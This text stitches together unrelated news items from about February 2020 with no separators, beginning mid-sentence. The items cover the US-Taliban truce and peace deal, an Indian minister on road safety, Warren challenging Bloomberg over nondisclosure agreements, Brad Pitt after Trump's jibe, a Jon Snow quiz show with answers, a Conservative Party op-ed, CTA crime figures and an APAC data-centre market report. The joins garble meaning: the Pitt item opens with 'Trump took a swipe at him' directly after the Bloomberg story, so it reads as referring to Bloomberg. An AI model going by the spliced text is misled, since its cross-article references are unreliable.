negotiations between the two sides that have broken down before. Yet both parties have signaled a desire to halt the fighting that began with the U.S. invasion after the September 11, 2001, attacks by Osama bin Ladens Afghanistan-based al-Qaida network. Should the truce stand, the U.S.-Taliban deal would be followed within 10 days by the start of all-Afghan peace talks that could result in the formation of a new government in Kabul, a pledge from the Taliban not to allow terrorist groups to operate in the country, and the phased withdrawal of U.S. and other foreign troops over 18 months. The plan is a gamble for Trump, who retweeted several news accounts of the agreement. If its successful, he will be able to claim to have taken a first step toward meeting his 2016 campaign pledge to bring American troops home. But if it fails, Trump could be painted by his Democratic adversaries in an election year as being naive and willing to sacrifice the security of U.S. soldiers and American interests for the sake of political expediency. For the Taliban, the successful completion of the truce and Afghanistan peace talks would give the group a shot at international legitimacy, which it lacked at the time it ran the country and gave bin Laden and his associates safe haven. The truce, to be monitored by American forces, will likely be fragile and U.S. officials have noted the possibility that spoilers uninterested in peace talks could disrupt it. Determining who is responsible for potential attacks during the seven days will therefore be critical. Both sides were cautiously optimistic in announcing the agreement that had been previewed a week ago by a senior U.S. official at an international security conference in Munich, Germany. The announcement had been expected shortly thereafter but was delayed in part because of Mondays release of the results of Afghanistans disputed September 2019 elections that showed President Ashraf Ghani winning by an extremely narrow margin. U.S. Secretary of State Mike Pompeo said in a statement that the peace agreement, to be signed in Doha, Qatar, by U.S. special envoy for Afghanistan Zalmay Khalilzad and Taliban representatives, will eventually lead to a permanent cease-fire. The deal also envisions guarantees from the Taliban that Afghanistan will not be used to attack the U.S. or its allies. We are preparing for the signing to take place on February 29, Pompeo said. Intra-Afghan negotiations will start soon thereafter, and will build on this fundamental step to deliver a comprehensive and permanent ceasefire and the future political road map for Afghanistan. The Taliban, meanwhile, said in a statement that the agreement is intended to achieve nationwide peace and and end to the foreign troop presence in the country. The statement said both sides will now create a suitable security situation ahead of the agreement signing date, invite international representatives to a signing ceremony, arrange for the release of prisoners, structure a path for peace talks, and finally lay the groundwork for peace across the country with the withdrawal of all foreign forces. The Taliban added that they will not allow the land of Afghanistan to be used against security of others so that our people can live a peaceful and prosperous life under the shade of an Islamic system. But the road ahead is fraught with difficulties, particularly as some Taliban elements and other groups have shown little interest in negotiations. An attack that killed two Americans last September disrupted what at the time was an expected announcement of a peace deal. And, it remained unclear who would represent Kabul at the intra-Afghan talks. Ghanis rivals have disputed the Afghan election commissions declaration that he won the presidential election. The Taliban have refused to talk to Ghanis government and also denounced the election results, saying they will talk to government representatives but only as ordinary Afghans, not as officials. Germany and Norway have both offered to host the all-Afghan talks, but no venue has yet been set. Pompeo did not say who would represent Kabul, only that talks will build on this fundamental step to deliver a comprehensive and permanent cease-fire and the future political road map for Afghanistan. Under the terms of the reduction in violence which covers all of Afghanistan and also applies to Afghan forces as well as the United States and Taliban all sides have committed to end attacks for seven days. For the Taliban, that includes roadside bombings, suicide attacks and rocket strikes. The Taliban military commission issued instructions to its commanders to stop attacks from Feb. 22 against foreign and Afghan forces until Feb 29. The peace deal also calls for the release of 5,000 Taliban prisoners, most of whom are being held by the Afghan government. Although the U.S. has already discussed the prisoner release with government representatives, there has been no public announcement about it from Ghanis government. Neighboring Pakistan, which has long been accused of backing the Taliban, welcomed the reduction-in-violence plan. We hope the Afghan parties would now seize this historic opportunity and work out a comprehensive and inclusive political settlement for durable peace and stability in Afghanistan and the region, said a Pakistan Foreign Ministry statement. Pakistan hosts more than 1.4 million Afghan refugees. During any withdrawal, the U.S. would retain the right to continue counter-terrorism operations in Afghanistan, which have been focused mainly on an Islamic State groups affiliate and al-Qaida, according to Pentagon officials. Ghani said in a statement that for the week of Talibans reduction in violence, our defense and security forces will remain in defensive mode and continue operations against the Islamic State, al-Qaida and other terrorist groups except Taliban. The Pentagon has declined to say whether the U.S. had agreed to cut its troop levels in Afghanistan to zero. Defense Secretary Mark Esper has said if the truce is successful and the Afghan peace talks begin, the U.S. would reduce its troop contingent over time to about 8,600. There are more than 12,000 U.S. troops in Afghanistan. Yet Suhail Shaheen, the spokesman for the Talibans political office in Doha, tweeted that the Taliban expect a complete withdrawal. In a Pashto language tweet, he said, based on the agreement with the U.S., all international forces will leave Afghanistan and the invasion will end and no one will be allowed to use Afghan soil against others. In Brussels, NATO Secretary-General Jens Stoltenberg welcomed the developments. The U.S.-led military alliance has some 16,000 troops in Afghanistan helping to train the countrys security forces, but it could draw down on its operation to accommodate any firm peace agreement. More than 8,000 of these alliance troops are American. This is a critical test of the Talibans willingness and ability to reduce violence, and contribute to peace in good faith, Stoltenberg said in a statement. This could pave the way for negotiations among Afghans, sustainable peace, and ensuring the country is never again a safe haven for terrorists. ___ Lee reported from Washington. Associated Press writers Tameem Akhgar in Kabul, Afghanistan, Lorne Cook in Brussels and Lolita Baldor and Robert Burns in Washington contributed to this report. Union Road Transport Minister Nitin Gadkari has said that 11 per cent of deaths in the world due to road accidents take place in India alone. He made the comments on Wednesday while addressing the '3rd High-Level Global Conference on Road Safety for Achieving Global Goals 2030' in Stockholm which was attended by 1,700 delegates from 140 countries. Gadkari also mentioned that the approach of alignment of Sustainable Development Goals (SDGs) with Road Safety espoused by the United Nations is particularly relevant for countries like India where the problem of safety is also linked to social equity. Since the global climate issue is always high on the agenda, the Union Minister highlighted India's moves towards biofuel, electric vehicles and e-highways. During the visit, Gadkari also held bilateral meetings with the Swedish Minister for Infrastructure Tomas Enerothand and Minister of Foreign Trade Anna Hallberg. They discussed mutual cooperation between the two countries in the MSME sector and exchanged ideas on sustainable infrastructure to improve lives in both countries. Sweden India Transport Innovation and Safety (SITIS) partnership was also launched in Stockholm in the presence of Union Minister and Minister Tomas Eneroth on Thursday. SITIS aims to achieve by bringing together organisations leading in the safety arena from Sweden and India. Meanwhile, a reception was hosted by Indian Ambassador Monika Kapil Mohta in honour of the transport minister. At the reception, Mattias Landgren, State Secretary to the Minister for Infrastructure said that he found Gadkari very 'innovative in his approach and inspiring in his style'. He also said that Sweden-India relations are extremely good like they have never been before. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Democratic presidential candidate Elizabeth Warren has challenged her fellow candidate Michael Bloomberg to release all former employees from agreements that keep them from speaking out in public. Speaking after an acerbic debate in which she castigated Mr Bloomberg for his alleged treatment of female employees over the years, Ms Warren told an audience at a CNN town hall that she was giving Bloomberg a chance to let his former employees talk publicly. This is an election for president of the United States, and transparency here is important. So, I used to teach contract law. And I thought I would make this easy. I wrote up a release and covenant not to sue, and all that mayor Bloomberg has to do is download it Ill text it sign it, and then the women or men will be free to speak and tell their own stories. Ms Warren then read out the contracts relevant language: "Bloomberg and the company release any and all obligations contained in any agreement, including but not limited to any employment, settlement, severance or nondisclosure agreement, between Bloomberg and/or the company and any other person, to the extent those obligations preclude the other person from disclosing information relating to sexual harassment, discrimination, or other misconduct at the company or by Bloomberg himself. Democratic candidates compete on the campaign trail: In pictures Show all 18 1 /18 Democratic candidates compete on the campaign trail: In pictures Democratic candidates compete on the campaign trail: In pictures Jessica Canicosa, a precinct captain for Bernie Sanders, waits to greet caucus voters at Liberty High School in Henderson, Nevada REUTERS Democratic candidates compete on the campaign trail: In pictures Hotel workers at the Bellagio in Las Vegas get to grips with voting papers during the Nevada caucuses AFP via Getty Images Democratic candidates compete on the campaign trail: In pictures A caricature of Bernie Sanders is projected on to a tree during a rally in Las Vegas EPA Democratic candidates compete on the campaign trail: In pictures A woman waits to have a photo taken with Elizabeth Warren during a town hall meeting in Las Vegas REUTERS Democratic candidates compete on the campaign trail: In pictures The threat of coronavirus and other germ-borne illnesses was on some voters' minds at the Democratic caucuses in Henderson, Nevada Getty Images Democratic candidates compete on the campaign trail: In pictures Former vice-president Joe Biden takes a selfie with a voter in Las Vegas ahead of the Nevada caucuses REUTERS Democratic candidates compete on the campaign trail: In pictures Amy Klobuchar changes her shoes backstage after giving a speech in Exeter, New Hampshire AFP/Getty Democratic candidates compete on the campaign trail: In pictures A warmly-wrapped-up dog attends an Elizabeth Warren event at Amherst Elementary School in Nashua, New Hampshire AFP/Getty Democratic candidates compete on the campaign trail: In pictures Bernie Sanders, who romped to victory in New Hampshire against Hillary Clinton in 2016, talks to the media in Manchester Getty Democratic candidates compete on the campaign trail: In pictures Joe Biden was hoping to improve on his poor showing in Iowa in the New Hampshire primary Reuters Democratic candidates compete on the campaign trail: In pictures Elizabeth Warren, renowned for giving time to supporters for selfies, works the crowd at the University of New Hampshire in Durham Getty Democratic candidates compete on the campaign trail: In pictures Joe Biden takes a selfie with a supporter and his child outside a campaign event in Somersworth, New Hampshire on 5 February Reuters Democratic candidates compete on the campaign trail: In pictures Elizabeth Warren and Bernie Sanders quarrel after a confrontation in a TV debate in which Sanders claimed that Warren was not telling the truth about a conversation in which she claimed he had said a woman could not win the presidency on 14 January AP Democratic candidates compete on the campaign trail: In pictures Supporter Pat Provencher listens to Pete Buttigieg in Laconia, New Hampshire on 4 February Getty Democratic candidates compete on the campaign trail: In pictures Pete Buttigieg speaks at a campaign event in Concord, New Hampshire while awaiting the results of the Iowa caucus Reuters Democratic candidates compete on the campaign trail: In pictures Elizabeth Warren is presented with a balloon effigy of herself at a campaign event in Nashua, New Hampshire on 5 February Reuters Democratic candidates compete on the campaign trail: In pictures A Trump supporter rides past a rally for Amy Klobuchar in Des Moines, Iowa on 14 January AP Democratic candidates compete on the campaign trail: In pictures A man holds up a sign criticising billionaires in the presidential race in front of Michael Bloomberg in Compton, Califronia. The former New York mayor skipped the first caucus in Iowa and instead campaigned in California on 3 February Reuters "Under this release, it is now the other persons choice to disclose such information or not. I think that the mayor should sign this, and that we all have a right to see. Mr Bloomberg has acknowledged that several former employees many of them women have signed nondisclosure agreements upon leaving his employment. During the televised presidential debate, which featured Mr Bloombergs widely panned first appearance, Ms Warren repeatedly brought up the issue of nondisclosure agreements as she pummelled him over his record as an employer. Mr Bloomberg responded: None of them accuse me of doing anything, other than maybe they didnt like a joke I told. And let me just and let me theres agreements between two parties that wanted to keep it quiet and thats up to them. They signed those agreements, and well live with it. The billionaire candidate is struggling to recover from the fallout from his debate performance, in which he struggled to respond to fierce attacks from all the other candidates. While he has yet to compete in a primary, he is hoping to make an impact by winning several states on Super Tuesday on 3 March. President Donald Trump took a swipe at him just a day before. But Brad Pitt didn't seem too bothered by the Commander-in-Chief's comments. The 56-year-old Oscar-winning actor was out in Los Angeles on Friday as he was seen for the first time since Trump called him a 'little wise guy.' Scroll down for video Unphased: Brad Pitt was out in Los Angeles on Friday as he was seen for the first time since Trump called him a 'little wise guy' He did not appear to be too upset about the slight as he enjoyed a relaxed day in sunny Southern California. Pitt sported a green knit sweater featuring a gradient design and trees on the back with baggy ripped jeans and light brown suede Chelsea boots. He accessorized with a green baker boy cap and sunglasses on the solo stroll. Moving on: The 56-year-old Oscar-winning actor sported a green knit sweater featuring a gradient design and trees on the back with baggy ripped jeans and light brown suede Chelsea boots Evergreen: He accessorized with a green baker boy cap and sunglasses on the solo stroll Just the previous evening, Donald Trump was at a rally at the Broadmoor World Arena in Colorado on Thursday where he took a dig at the actor in addition to South Korean film Parasite which recently won Best Picture at the Academy Awards. 'I was never a big fan of his,' Trump said. 'He got up, said a little wise guy thing. Hes a little wise guy.' Trump was obviously retaliating to Pitt's Best Supporting Actor acceptance speech at The Oscars earlier this month in which he used his platform to complain about the impeachment trial. 'Hes a little wise guy': Just the previous evening, Donald Trump was at a rally at the Broadmoor World Arena in Colorado on Thursday where he took a dig at the actor adding he was 'never a big fan of his' Pitt, while collecting the award for his role in Once Upon A Time in Hollywood, complained that former national security adviser John Bolton did not testify at President Trump's impeachment trial. 'They told me I only had 45 seconds up here, which is 45 seconds more than the Senate gave John Bolton this week. 'I'm thinking maybe Quentin (Tarantino) does a movie about it and in the end the adults do the right thing,' he said. '45 seconds more than the Senate gave John Bolton this week': Trump was obviously retaliating to Pitt's Best Supporting Actor acceptance speech at The Oscars earlier this month in which he used his platform to complain about the impeachment trial Good vibes: Once Upon A Time In Hollywood tells the story of TV star Rick Dalton (DiCaprio) and his longtime stunt double Cliff Booth (Pitt), who make their way around an industry they hardly recognize anymore It was Brad's first ever Oscar for acting as he had previously won a Best Picture award as a producer for 12 Years A Slave in 2013. He beat out heavy competition for the honour, including Tom Hanks (A Beautiful Day in the Neighborhood), Anthony Hopkins (The Two Popes), Al Pacino (The Irishman), and Joe Pesci (The Irishman). The end of his speech featured a dedication to his six children, Maddox, 18, Pax, 16, Zahara, 15, Shiloh, 13, Vivienne, 11, and Knox, 11, whom he with ex-wife Angelina Jolie: 'This is for my kids who color everything I do. I adore you.' Once Upon A Time In Hollywood tells the story of TV star Rick Dalton (Leonardo) and his longtime stunt double Cliff Booth (Brad), who make their way around an industry they hardly recognize anymore. The title says it all Very Hard Questions. Jon Snow's new quiz show claims to be the toughest on TV, even beating Mastermind and Eggheads. 'It's the perfect combination. Some of the brightest minds in Britain answering some of the hardest questions on television,' says the Channel 4 newsreader, who's hosting his first ever TV quiz series. 'This is a show that really tests those taking part, vastly knowledgeable quizzers from Britain's dedicated quizzing circuit.' Two teams of three compete each week over four rounds each with different variations on the number of questions and clues ending with the ultimate challenge, the very hardest question of all. Jon Snow's new quiz show Very Hard Questions claims to be the toughest on TV, even beating Mastermind and Eggheads. Pictured, Snow with resident boffin Judith Keppel, the first million-pound winner on Who Wants To Be A Millionaire? and Mastermind host John Humphrys The two most successful teams go through to the grand final where they can win a 5,000 prize. The show's executive producer David Flynn stands by the claim. 'We believe it's the toughest quiz on TV,' he says. 'Contestants are first asked a question without a clue these are designed to be the toughest ever asked on British TV. 'Clues are then offered if the contestants don't know the answer, but initially they're very difficult which is why those answered without clues are rewarded with a maximum four points.' The clues include the first letter of the answer, more information about the answer or a dictionary-style description of the answer. Channel 4 newsreader Jon Snow, pictured, is hosting his first ever TV quiz series 'Every time a team uses a clue it loses one of the four points on offer, so the aim is to answer by resorting to as few clues as possible,' explains Jon. But can any other British quiz show claim to be tougher? Eggheads is a potential challenger. Its resident boffins include Judith Keppel, the first million-pound winner on Who Wants To Be A Millionaire?. Says Jeremy Vine, who hosts Eggheads and previously hosted the spin-off show Make Me An Egghead, 'The spin-off was for aspiring Eggheads so it had to include some formidable questions because the contestants were competing to be part of the most fearsome quiz team in history. Inevitably, on Eggheads itself, the kind of questions asked have to be extremely challenging.' Who Wants To Be A Millionaire? starts off with simple enough questions, but those who reach the million-pound prize are faced with some of the most difficult questions ever asked on British TV. Judith had to know which British king was married to Eleanor of Aquitaine to scoop her jackpot (answer, Henry II). The BBC reckons Mastermind is the most rigorous British quiz show, although current host John Humphrys isn't so sure. 'You couldn't argue that it's a great intellectual challenge,' he said. 'You've got to be able to take the pressure, sitting in that bloody chair, but it's a challenge of memory and that's it.' You can judge for yourself how tough Very Hard Questions is and test them against some of their rivals in the panel below. Thinking caps on... 15 VERY HARD QUESTIONS (ANSWERS AT THE END) 1. In 2005, who was hit in the face by a pie after attending a ceremony to receive an honorary degree at Oxford Brookes University? Now try its rivals EggHead questions (multiple choice) Q. Which early style of Blues music began in the Mississippi region? A. Delta Blues. (Wrong answers: Rocky Mountain Blues, New England Blues.) Q. Dog Days and Cabin Fever are books in which series for young people? A. Diary Of A Wimpy Kid. (Wrong answers: The Hunger Games, The Shapeshifter.) Make me an EggHead Questions (multiple choice) Q. Which of these cities is on the Rio de la Plata? A. Buenos Aires. (Wrong answers: Brasilia, Santiago.) Q. At the turn of the sixth century a force of Britons defeated which opponents at the Battle of Badon? A. Anglo Saxons. (Wrong answers: Vikings, Picts.) Million-Pound Questions on Who wants to Be a Millionaire? Q. A number one followed by 100 zeros is known as what? A. Googol Q. Who was the first man into space twice? A. Gus Grissom Q. What scientific unit is named after an Italian nobleman? A. Volt MasterMind QUestions Q. Who wrote the play A Voyage Round My Father? A. John Mortimer Q. How is the fictional character Oswald Cobblepot better known? A. The Penguin in Batman Q. What premier French Order of Distinction did Napoleon found in 1802? A. The Legion Of Honour Advertisement 2. In 1934, New Jersey machinist Henry Ruschmann invented a method of producing which substance? 3. Who played the title character in the Broadway musical Buck White that ran for seven performances? 4. What breed of dog was Primley Sceptre, the first Best In Show champion at Crufts? 5. What did Mexican general Santa Anna exhume in 1842 in order to give it a state funeral with military honours? 6. The first episode of which TV drama centres on the investigation into the murder of DI Charlie Hulme, played by Hugo Speer? 7. Which species of animal has thrived and multiplied since the four kept in the menagerie of drug lord Pablo Escobar were left to fend for themselves after his hacienda was abandoned in the 1990s? 8. Jemmy Twitcher was the nickname of the person after whom which foodstuff is named? 9. For four months in 1915 at the Panama Pacific International Exposition held in San Francisco, visitors could observe the practice of a system that bears the surname of which medical doctor? 10. George, Dotty and Archie are characters in which stage play that begins with an announcement about a Radical Liberal polling victory? 11. What is the modern name of the city Khanbaliq, developed in the 13th century? 12. Which place gave its name to a battle that is commemorated in the name of a Paris Metro station, one stop from the Gare du Nord? 13. What fresh produce was the subject of the 1893 US Supreme Court case Nix Vs Hedden? 14. The soundtrack to which film was the only No 1 in the UK album charts in 1965 that was not by The Beatles, The Rolling Stones or Bob Dylan? 15. In 1998, Google founders Sergey Brin and Larry Page created the first Google Doodle by amending the company logo to inform users they would be away from work attending which event? THE HARDEST QUESTION OF ALL... An 18th-century monarch of which nation is known as 'The king who ate himself to death' after reportedly eating a meal including lobster, caviar, sauerkraut, kippers, Champagne and 14 cream buns? ...AND THE ANSWERS 1. Jeremy Clarkson 2. Glitter 3. Muhammad Ali 4. Greyhound 5. His leg 6. Death In Paradise 7. Hippopotamus 8. Sandwich 9. Montessori 10. Jumpers 11. Beijing 12. Stalingrad 13. Tomato 14. The Sound Of Music 15. Burning Man Festival AND THE HARDEST QUESTION OF ALL Sweden. Jon Snow's Very Hard Questions, Wednesday, 8pm, More4. The first two episodes can be seen on the All4 catch-up service. Chris Bullivant is a freelance writer who has led two think tanks in Westminster and worked on K Street in Washington. The withdrawal from the European Union ends a long and bitter split within the Conservative Party between eurosceptics and europhiles. There is no longer any need for MPs (or former Prime Ministers) to resuscitate a divide long healed by the results of 2016, 2017 and the two of 2019. In fact, in putting aside this divide, the Conservatives created a huge electoral success story. Yet talk of a ten-year rule is over-egged. While the commitment to get Brexit done unified many to vote Conservative, once achieved what will keep people voting Conservative, especially those from across traditional party lines? The answer is to develop policy and narrative cross-pollinated by two influential, fully formed, but quite separate wings of the Party: that of social conservatives and economic liberals. Having helped lead both a socially conservative think tank and a free market think tank, my observation is that personnel in SW1 from either camp rarely shared networks, pubs, or social media followers, with few opportunities for sharing each others language or ideas. They are two sides of the same coin: occupying the same space but looking at the world with totally different perspectives. Economic liberals are committed to the freedom of the individual to make their own choices: free from the state, free to do whatever they want, in particular to make profits free of regulation, because it is only profit that creates prosperity in a country. Free market conservatives often overlap with social liberals who argue for freedom from the state for what we do in private. The freedom to view pornography, smoke weed, or consume sugary foods, is an inalienable right that should not be policed by the Government. The other wing of the Party, social conservatives, is known to stand for marriage, family, and to have promoted ideas like back to basics and broken Britain. The two ends have different, and on the surface, competing visions of how to achieve a free society. Social conservatives believe traditional institutions outside of the government are best at assisting the individual to live the good life. Free market thinkers, and their social liberal colleagues, simply want maximum freedom of choice for the individual, usually with an onus on the individual to achieve success in the market. Assuming theres any truth to this observation that never the twain shall meet, it would make sense. The social liberal sees government regulation of private, personal choices as the Church having been replaced by Government who now heed the latest doctrines of the media-university-public sector complex. To the free marketeer, social conservatives add to the problem, by promoting restrictive kill-joy policies like marriage, chasteness, and prohibition. And yet this suspicion is to profoundly misunderstand social conservatives. Social conservatism is about maximising peoples capacity to participate in the market believing that for the market to be free, people need to be free to take advantage of it. The work of the Centre for Social Justice (CSJ), for example, is an exciting reframing of poverty concerned with maximising the freedom of the individual and being realistic about how its done. They use a simple formula: a family, a job, a school, maintaining good health, and living within your means, are intrinsic to being able to do life well. When I worked there I met a lot of people up and down the country who agreed with this basic outlook. They worked with poorly qualified young people, with the vulnerably housed, addicts, or sink estates, many in traditional Labour-voting areas. Few of those I met voted Conservative, but they spoke the language of social conservatism because its how life works. Family done well provides security and emotional development. Education done well nurtures and socialises the individual, gets you ready for entering the workplace and adult life. Work and saving is good, it affirms an individuals dignity. Over time it should allow for increasing economic liberty. And freedom from addiction means your capacity to choose is not increasingly limited. Yet to free market socially liberal conservatives, talk about family, education, and in particular policy related to substance addiction, smacks of state intervention in the private sphere. In the name of liberty, they mount opposition to the very means by which more people could participate in the market. And this is where social conservatives make a vital contribution to policy formation. There are significant, not negligible, numbers of people who do not have all five of these socially conservative assets. In fact, too many dont even have a positive experience of one of them, in turn reducing their capacity to enjoy the market. To the man who went from foster-care and graduated the youth justice system with no parents, no job, no savings, and no schooling, marijuana legalisation is the final nail in the coffin of his life chances. It doesnt matter that he wont be arrested for possession; he will be incarcerated in a fog of diminished decision-making capacity, less socialisation, more chaos with one additional substance available for insulating him from the market. On the other hand, most (but by no means all) SW1 think tankers have a positive experience of these socially conservative assets. For them, the additional liberty of, say, legalisation of the consumption of marijuana, is an added bonus. Meanwhile back at the grassroots, the language of social and economic liberals is remote and irrelevant. It is part of a tidal wave of policy aimed at destroying the very things they know make a person function. Policy papers on relaxation of pro-social norms are the heady indulgence of the elite. Theyd much rather hear the common sense of social conservatives. Friends, family, voluntary groups, charities, and churches, provide the assets by which individuals are able to maximise their liberty and at the same time the very fruits of that liberty, the very point of a free market economy. They are the layers of existence between the individual and the state that give life meaning. Social conservatives simply ask whether Government policy helps or hinders enjoyment of these assets. This is an argument that should appeal to economic liberals because it is to ask, How do you get the Government out of the way of people making a success of life? For example, we dont need Government to create a legal marijuana market to regulate and tax, when it defies common sense in helping revitalise left-behind regions. If putting aside Europhilia allowed the Conservatives to win big in 2019, how much more might putting aside the misunderstandings between these two tribes create massive electoral appeal, as well as a reason to govern for ten years? These two sides of the Party need to talk to each other more. Because social policy without free-market input can drift toward a lifeless focus on public sector reform, or a cul-de-sac of charity speak divorced from opportunity. Free market groups disinterested in how individuals participate in the free market can end up presenting a narrow vision of tax breaks or come across as uncaring blaming individuals for their poverty. Neither public sector reform nor freedom to eat a high salt pot noodle are a big enough vision to appeal to those left behind by Londons prosperity; nor to balkanised minorities who think only Labour can protect their rights; nor young people who think big-picture socialism is the key to ending inequality or helping the environment. When these two tribes increasingly work and talk together, it will be a powerful force to inspire a decade of conservatism that is both principled and mission driven, that is both strong in theory and in practical action grounded in reality. Together, an unstoppable force. Reports of serious crimes on the CTA rail system doubled from 2015 through 2018 even as ridership declined and incidents of serious crime rose only slightly citywide, according to a Tribune investigation last year. Serious crimes range from pickpocketing to robbery to sexual assault. The arrest rate for such crimes on the CTA fell during the same period, despite the presence of tens of thousands of security cameras on the system. Dublin, Feb. 21, 2020 (GLOBE NEWSWIRE) -- The "Data Center Market in APAC - Industry Outlook and Forecast 2020-2025" report has been added to ResearchAndMarkets.com's offering. The APAC data center market is expected to grow at a CAGR of over 3% during the period 2019-2025. Key Market Insights The report provides the following insights into the data center market in APAC during the forecast period 2020-2025. It offers comprehensive insights into current industry trends, forecast, and growth drivers in the APAC data center market. The report provides the latest analysis of share, growth drivers, challenges, and investment opportunities. It offers a complete overview of segments and the regional outlook of the APAC data center market. The study offers a detailed overview of the vendor landscape, competitive analysis, and key strategies to gain competitive advantage. The APAC data center market is witnessing steady growth with continued investments from hyperscale and cloud service providers. In 2019, China and Hong Kong led the market in terms of data center development, followed by India, Australia, Japan, and Singapore. Apart from these countries, Indonesia, Thailand, and Malaysia made a sizable contribution toward growth. The implementation of 5G has commenced in several countries, which will have a significant impact on the market with telecommunication providers partnering with service providers in establishing edge data centers throughout the forecast period. The market is also witnessing significant investments in submarine cable projects from telecommunication service providers, and government entities with hyperscale operates are continuing to invest millions in improving submarine connectivity across regions aiding in the growth. The introduction of artificial intelligence and machine learning workloads is expected to contribute over 40% in the infrastructure investment in APAC by 2025. Artificial intelligence and machine learning workloads will increase the demand for liquid-immersion and direct-to-chip cooling techniques that can support the density of up to 200 kW. Over 30% of Australian enterprises are involved in the use of AI-based infrastructure solutions as experimental as well as production workloads. The average size of a facility in the APAC region has increased considerably in the last two years. Several operators are involved in land acquisitions for future development, which, in turn, is propelling growth. ODM infrastructure solutions and all-flash storage arrays contribution to the market will continue to grow. APAC Data Center Market: Segmentation This research report includes detailed segmentation by IT infrastructure, electrical infrastructure, mechanical infrastructure, general construction, tier standards, and geography. With the adoption of IoT, artificial intelligence, and big data analytics, the demand for high-performance computing infrastructure is increasing. The demand for supercomputers is also increasing with the adoption increase in investment towards cryptocurrency mining. Moreover, the increasing development of facilities in China and Hong Kong and the implementation of a high-speed 5G network will boost the data center network market. Over 50% of the business IT budget is spent on the migration to cloud-based services in Australia, with IaaS spending leading the chart followed by SaaS. The Australian market will also witness the increased demand for managed data center services. IT infrastructure spending will be dominated by cloud-service providers. The increasing adoption of IT infrastructure is a major driver in the data center market in India, with high adoption of servers, storage, and networking infrastructure. Around 70% of startups in India are adopting IoT in their business. Healthcare and manufacturing are popular verticals attracting a lot of investor interests. The IT Infrastructure market in Japan is gaining traction with the increasing popularity of cloud-based services, IoT, and AI. In Japan, the majority of facilities are having blade types of servers developed for the high-density computing environment. The increasing usage of social media platform in the region will lead to the development of new facilities to store data, which increase the demand for high-capacity storage solutions. The construction of data centers with power capacity over 20 MW will increase the demand for high-capacity electrical infrastructure. Most facilities support rack power density of 510 kW; however, it is expected that new facilities will support a capacity of up to 20 kW during the forecast period. Multiple facilities with a power capacity of more than 10 MW are being implemented in Australia. Data center providers are investing in DRUPS systems with a capacity of around 1,500 kVA. Service providers are featuring lithium-ion batteries, which are likely to increase adoption in the market. The market in India has witnessed the installation of energy-efficient power infrastructure. The contribution of the power infrastructure segment is high because of the growth in the installation of 2N power infrastructure solutions among extensive facilities. The operators are also being prompted to support renewable energy sources to power their IT infrastructure. Several APAC countries do not support the use of free cooling systems. The operators in this region are still highly dependent on traditional air-based cooling techniques in small facilities that are built as part of commercial complexes. The use of dual water feeds in data centers with on-site water treatment plants is fast gaining popularity in the region as a few countries such as India suffer from acute water shortage for cooling purposes. The increasing demand for ASHRAE and Uptime Institute certified infrastructure is likely to increase the importance of metrics such as power usage effectiveness, water-usage effectiveness, and carbon usage effectiveness during the forecast period. The use of air-based cooling will continue to co-exist in the APAC region because of the growth of small facilities. China is leading in greenfield construction. There will be more likely to have brownfield developments in Hong Kong due to the space shortage during the forecast period. In terms of physical security, most service providers prefer four layers of safety, with a few engaging in the implementation of five-layer ones due to the increasing demand for colocation services. Australia is witnessing an increase in the construction of greenfield data center projects. Perth, Canberra, Brisbane, and Sydney are some of the major cities in Australia, where greenfield development is likely to increase. The need for DCIM software to monitor facilities will continue to grow as the need to improve operational efficiency is growing. The general construction market will witness an increased construction of data centers in Japan. However, the cost of developing new facilities in the country is high. The rest of the APAC market will witness the entry of new construction services providers with greenfield construction growing. Telecommunication service providers and government agencies are the major investors in Southeast countries. Multiple facilities are being developed in this region as part of commercial buildings in major cities. This scenario will change in the future years as more standalone data center developments will be witnessed in regions such as Southeast Asia, India, and Rest of APAC during the forecast period. However, with the increase in greenfield development, the need for skilled labor will also grow. The labor shortage is not higher in APAC countries than in European and American regions. Mega data center development will provide a major boost to the revenue growth for local construction contractors and suppliers. In the APAC region, several under-developed projects fall under the Tier III category. This trend is likely to continue during the forecast period, with many operators expected to move to the Tier IV category based on the growth in rack power density and critical applications. Data centers in Japan are likely to adopt the Uptime Institute's Tier III or Tier IV design with a minimum of N+N redundancy across infrastructures. Most facilities developed were Tier III and Tier IV standards in 2019. Insights by Geography The deployment of data centers in China & Hong Kong is likely to exceed supply due to the increasing demand for cloud-based services, big data analytics, and IoT. China is the world's largest IoT market, with 64% of the 1.5 billion global cellular connections. The market in Hong Kong is witnessing investments YOY, which is aiding the country to emerge as one of the major data center hubs in the world. The submarine cable deployment in Australia will boost facility growth. In 2019, submarine fiber cable projects were INDIGO-Central and INDIGO-West, which connect Australia, Indonesia, and Singapore will contribute to the increase in network traffic. The data center market in India is one of the fastest-growing in the APAC region. India witnessed continuous investment in cloud adoption and big data analytics from small and medium-sized industries in 2019. Government initiatives such as Digital India are the major contributor to the data center investment growth in the market. The market has also witnessed an increase in the number of new service providers offering hosting, storage, colocation services, and disaster recovery services. Key Vendor Analysis The APAC data center market is witnessing a steady growth in terms of IT infrastructure procurement, greenfield, brownfield, and modular data center development as well as the high adoption of efficient, scalable, flexible, and reliable infrastructure solutions. Moreover, the market has a strong presence of vendors in the three categories: IT infrastructure, support infrastructure, and data center investors. From the IT infrastructure perspective, the contribution from APAC based infrastructure providers as well as global providers is almost equal. The increasing competition will prompt vendors to reduce the price of solutions, namely, SSD's and Ethernet Switches to gain major shares. The market is witnessing the growth of data centers that are keen to reduce power and water consumption and decrease carbon dioxide emissions. This will increase the demand for energy-efficient and innovation power and cooling infrastructure solutions. Partnership with facility operators will play a vital role in gaining market share. It is because the majority of the providers in the regions have planned to invest millions of dollars in new facility development. Key Topics Covered 1 Research Methodology 2 Research Objectives 3 Research Process 4 Scope & Coverage 4.1 Market Definition 4.2 Base Year 4.3 Scope of the Study 4.4 Market Segments 4.4.1 Market Segmentation by Facility Type 4.4.2 Market Segmentation by Infrastructure 4.4.3 Market Segmentation by IT Infrastructure 4.4.4 Market Segmentation by Electrical Infrastructure 4.4.5 Market Segmentation by Mechanical Infrastructure 4.4.6 Market Segmentation by Cooling Systems 4.4.7 Market Segmentation by Cooling Technique 4.4.8 Market Segmentation by General Construction 4.4.9 Market Segmentation by Tier Standards 4.4.10 Market Segmentation by Geography 5 Report Assumptions & Caveats 5.1 Key Caveats 5.2 Currency Conversion 5.3 Market Derivation 6 Market at a Glance 7 Introduction 7.1 Internet & Data Growth In APAC 7.2 Data Center Site Selection Criteria 7.3 Electricity Pricing Across Major Data Center Locations 8 Market Enablers 8.1 Increased Cloud Adoption Propelling Data Center Market 8.2 Increase in Colocation Investment 